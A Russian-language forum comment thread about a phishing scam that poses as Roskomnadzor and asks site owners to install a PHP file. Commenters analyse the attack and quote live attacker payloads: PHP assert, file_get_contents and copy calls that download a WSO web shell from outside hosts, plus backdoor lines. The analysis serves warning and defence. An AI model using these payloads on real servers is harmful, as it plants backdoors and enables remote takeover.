leonid239 Aug 27 2015 at 01:21

Необычный развод под видом Роскомнадзора

2 min

99K

Website development*Information Security*

+41

Comments 39

edogs Aug 27 2015 at 01:30

habrahabr.ru/post/265513

hormold Aug 27 2015 at 02:03

Honeypot можно сделать и понять, ради чего они это делают.

DustCn Aug 27 2015 at 09:25

>> Путь до файла
Это украинец, русский написал бы «путь к файлу»…

weirded Aug 27 2015 at 09:44

Та шо те шо другие то так то сяк пишут.

DustCn Aug 27 2015 at 12:24

«Шо те и шо другие» может и пишут.
Мне как украинцу, прожившему 10 лет в рф в глаза всеравно бросается. Взаимопроникновение обычно ограничивается приграничными областями, так что всёравно — палево.
И кстати стиль письма, такие вот «суржиковые» оговорки и речевые обороты могут использоваться для дальнейшего поиска и идентификации атакующего. Так что господа хакеры — пользуйтесь спеллчекером.

weirded Aug 27 2015 at 17:29

Немножко не в тему, но я узнал о слове «суржик» буквально месяц назад.
Теперь оно преследует меня по интернету. Что-то не так.

igordata Aug 27 2015 at 18:12

Посмотри «Бобро поржаловать»

tundrawolf_kiba Aug 27 2015 at 18:57

Эффект Баадера-Майнхофа

bolk Aug 27 2015 at 20:15

Я бы написал «путь до файла», ни разу не украинец и живу очень далеко от границы.

reki Aug 27 2015 at 14:05

yandex.ru:
путь до файла — 43 млн. ответов
путь к файлу — 27 млн. ответов

khanid Aug 27 2015 at 15:08

google.com
путь к файлу — About 43,600,000 results (0.20 seconds)
путь до файла — About 623,000 results (0.26 seconds)

Prologos Aug 27 2015 at 17:06

Откуда это недружелюбность между народами и разные такие намеки, — Вы либо слишком много телевизор смотрите, либо политики из СМИ перечитали. Разницы нет, хоть ты негр будешь, все равно найдутся нечестные люди, кто захочет воспользоваться твоими слабостями… а национальность тут не причем (равно как возраст, пол и вероисповедание и др.).

И услышал казак:
«Ты идешь воевать
за народную власть
со своим же народом!»
Бывший подъесаул (Тальков Игорь)

P.S. Роскомнадозор рассылку ведет с адреса: Роскомнадзор <zapret-info-out@rkn.gov.ru>

P.P.S. Возможный текст письма:
Направляется уведомление о внесении в «Единый реестр доменных имен, указателей страниц сайтов в сети «Интернет» и сетевых адресов, позволяющих идентифицировать сайты в сети «Интернет», содержащие информацию, распространение которой в Российской Федерации запрещено» следующего(их) указателя (указателей) страницы (страниц) сайта в сети «Интернет»: /какая то ссылка/.

В случае непринятия провайдером хостинга и (или) владельцем сайта мер по удалению запрещенной информации и (или) ограничению доступа к сайту в сети «Интернет», будет принято решение о включении в единый реестр сетевого адреса, позволяющего идентифицировать сайт в сети «Интернет», содержащий информацию, распространение которой в Российской Федерации запрещено, а доступ к нему будет ограничен.

Сведения о включении доменных имен, указателей страниц сайтов сети «Интернет» и сетевых адресов доступны круглосуточно в сети «Интернет» по адресу eais.rkn.gov.ru.

С уважением,
ФЕДЕРАЛЬНАЯ СЛУЖБА ПО НАДЗОРУ В СФЕРЕ СВЯЗИ, ИНФОРМАЦИОННЫХ ТЕХНОЛОГИЙ И МАССОВЫХ КОММУНИКАЦИЙ.

il--ya Sep 1 2015 at 12:34

А где вы недружелюбность увидели? Человек просто заподозрил (небезосновательно), что это украинец. Недружелюбность проявляют те, кто ему минусов накидали…

Taras_Serevann Aug 27 2015 at 09:41

Нужно было разместить этот файл, но код поменять таким образом, чтобы вместо уязвимости он сохранял IP и другие данные злоумышленника. И если он не использует прокси и тд., то можно будет в какой-то степени его сдеанонить и уже с его данными написать заявление.

MASe Aug 27 2015 at 10:14

получил такое письмо сегодня ;-))
про развод понял сразу (ну не дотягивает посещение до 3000 уников) — но подход ребята выбрали оригинальный ;-))

silencer Aug 27 2015 at 10:35

Письмо не приходило, но еще вчера, на всякий случай, настроил редирект для этого адреса на natribu.org
Сегодня в логах нашел:

access.log:77.221.130.49 — - [27/Aug/2015:07:50:09 +0300] «GET /reestr/reestr-id128032.php?roskomnadzor=print-439573653*57; HTTP/1.1» 301 184 "-" "-" «77.221.130.49»

access.log:178.132.201.92 — - [27/Aug/2015:08:07:26 +0300] «GET /reestr/reestr-id128032.php?roskomnadzor=print-439573653*57; HTTP/1.1» 301 184 "-" "-" «178.132.201.92»

access.log:5.101.156.31 — - [27/Aug/2015:08:08:09 +0300] «GET /reestr/reestr-id128032.php?roskomnadzor=print-439573653*57; HTTP/1.1» 301 184 "-" "-" «5.101.156.31»

access.log:62.113.86.40 — - [27/Aug/2015:09:02:50 +0300] «GET /reestr/reestr-id128032.php?roskomnadzor=print-439573653*57; HTTP/1.1» 301 184 "-" "-" «62.113.86.40»

access.log:78.108.80.142 — - [27/Aug/2015:09:09:13 +0300] «GET /reestr/reestr-id128032.php?roskomnadzor=print-439573653*57; HTTP/1.1» 301 184 "-" "-" «78.108.80.142»

mayorovp Aug 27 2015 at 12:55

В более ранней теме писали про запрос phpinfo()… Возможно, кто-то уже решил просканировать рунет и подсчитать попавшихся.

silencer Aug 27 2015 at 13:39

Да, это уже сторонний ботнет начал сканировать уязвимости — в гугле по запросу «print-439573653*57» находится много интересного.

Vindicar Aug 27 2015 at 10:42

Нарыть бы хороший эксплоит-пак да отдать. Вдруг сработает.

chabapok Aug 27 2015 at 10:48

Хм, интересно. Злоумышленниками предполагается, что сайт сделан на php, и других технологий не существует в природе.

А их можно как-нибудь наказать? Во времена диалапа по этой ссылке выложили бы своп для скачки. Вот что-нибудь в этом роде.

BekoBou Aug 27 2015 at 10:53

Я уже и забыл о таких способах «казни». Можно ещё из /dev/random читать. :)

ploop Aug 27 2015 at 10:54

Вот что-нибудь в этом роде.

/dev/urandom отдать, пусть качают :)

mayorovp Aug 27 2015 at 12:56

Сегодня, я думаю, свопу для скачки только обрадуются. Там можно много данных выудить… :)

kaichou Aug 28 2015 at 11:35

> Злоумышленниками предполагается, что сайт сделан на php, и других технологий не существует в природе.
Даже если сайт сделан не на php, компилятор php всё равно включён по умолчанию в большинстве unix-like систем.
Расчёт верный.

weirded Aug 29 2015 at 17:35

Эм, перечилите 5 таких систем пожалуйста, я только на макоси видел.

Makaveli Aug 27 2015 at 11:08

Добавьте в пост признаки того, что это развод. Мало ли кто получит такое письмо и из поисковика на этот пост придёт, пусть полезная информация будет.

rekby Aug 27 2015 at 11:37

Так в заголовке же написано: Необычный развод под видом Роскомнадзора

Evgeny_Shestakov Aug 27 2015 at 13:32

Пытались так развести… вот что удалось узнать (пост на Хабре прочитал после изысканий):
после включения логирования переменной $_REQUEST по адресу uralpolit.ru/reestr/reestr-id128032.php (предупреждение: без проверочного roskomnadzor идет нецензурщина) идет проверочная команда: roskomnadzor=print-439573653*57; причем с разных ip адресов (если интересно могу выложить список). как только было съимитировано исполнение на стороне сервера ;), а имнно отдача результата −25055698221 появились запросы поинтереснее: assert(file_get_contents(«5.9.164.145/~users700/ac/u/1.txt»)); по указанному адресу еще обертка с контентом file_put_contents('2.php', file_get_contents('http://5.9.164.145/~users700/ac/u/2.txt')); Ну а зхдесь уже сам шелл ;) 5.9.164.145/~users700/ac/u/2.txt
p.s. буду очень благодарен за инвайт на хабр

Enpire Aug 27 2015 at 14:18

Если расшифровать код по ссылке, то за парой реплейсов и декодом код дальше не обфусцирован, беглый осмотр говорит о сборе системной инфы — какие модули БД стоят, сколько есть места на диске и прочее подобное

Enpire Aug 27 2015 at 14:23

Внутри файла используется авторизация по паролю (md5 пароля захардкожен), пароль до md5 — «functionderty»

Evgeny_Shestakov Aug 27 2015 at 14:31

это именно шелл… например в теле функции есть исполнение переменной, полученной из POST:

function actionPhp() { 
    //... 
    eval($_POST['p1']);
    //...
}

ну и если исполнить там куча формочек в том числе и для сбора инфы и выполнения различных действий на сервере

Evgeny_Shestakov Aug 27 2015 at 14:35

ps это известный шелл wso версии 2.5 (в коде define('WSO_VERSION', '2.5');)

sitestyler Aug 27 2015 at 16:20

У меня вот в что в лог попало:
{«request»:{«roskomnadzor»:«copy('http://ewgames.gq/123.txt','/var/www/1123.php');»}
с 79.105.98.88

UFO landed and left these words here

Lamaster Aug 27 2015 at 20:05

FAIL. Ведь всем же известно, что роскомнадзор не присылает уведомлений.

pcmaniac Sep 22 2015 at 18:25

Когда увидел КПДВ, захотелось написать статью для бложека, сочетающую все «плюсы» с диаграммы.

crystalbit May 31 2017 at 14:26

Вот такое аналогичное было типа от REG.RU в январе:

картинка

DmitryKuzmenko Apr 25 2018 at 14:24

мне только что пришло похожее, только якобы от RU-CENTER, support@nic.tech, с требованием подтвердить управление доменом.

Письмо написано и оформлено весьма грамотно, чуть не повелся.
Сделать предлагают аналогичное, только код в пхп чуть отличается
assert(stripslashes($_REQUEST[BWSV3I]));

engine9 Apr 21 2021 at 12:14

2021, разводка до сих пор применяется.